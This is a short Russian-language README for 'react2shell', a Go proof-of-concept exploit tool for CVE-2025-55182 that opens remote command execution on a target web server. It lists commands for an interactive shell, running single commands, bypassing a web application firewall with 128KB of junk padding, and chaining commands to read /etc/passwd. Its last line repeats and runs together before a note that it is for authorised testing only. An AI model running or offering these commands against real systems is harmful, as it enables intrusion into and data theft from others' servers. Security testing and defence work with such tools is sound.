
react2shell PoC с Go / CVE-2025-55182
CVE-2025-55182 PoC
# Интерактивная оболочка
./react2shell -u http://target:3000
# Одиночная команда
./react2shell -u http://target:3000 -c "id"
# Обход WAF (128KB мусорных данных)
./react2shell -u http://target:3000 -waf 128
go build -o react2shell .
| Флаг | Описание |
|---|
-u | Целевой URL |
-c | Одиночная команда (опционально) |
-waf | Размер мусора для обхода WAF в КБ (опционально) |
; или && для объединения команд: cd /etc && cat passwd; или && для объединения команд: cd /etc && cat passwdТолько для авторизованного тестирования безопасности.